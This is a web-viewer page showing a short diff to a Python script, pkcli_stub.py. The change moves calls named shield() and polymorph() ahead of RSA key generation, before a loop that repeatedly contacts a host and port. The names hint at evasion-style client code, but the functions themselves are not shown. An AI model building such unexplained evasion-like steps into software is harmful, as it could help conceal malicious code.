summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--pkcli_stub.py7
1 files changed, 4 insertions, 3 deletions
diff --git a/pkcli_stub.py b/pkcli_stub.py
index 774d5d2..c6561f8 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -35,13 +35,14 @@ def main():
ha, port = ha.split(':')
port = int(port)
- print('working')
+ print('forking')
+ shield()
+ polymorph()
+
p,q,n,e,d = Crypto.keygen(bits=bits)
privkey = { 'n': n, 'd': d }
refresh_hdb()
print('done')
- shield()
- polymorph()
while True:
if not work(ha, port, privkey, bits=bits):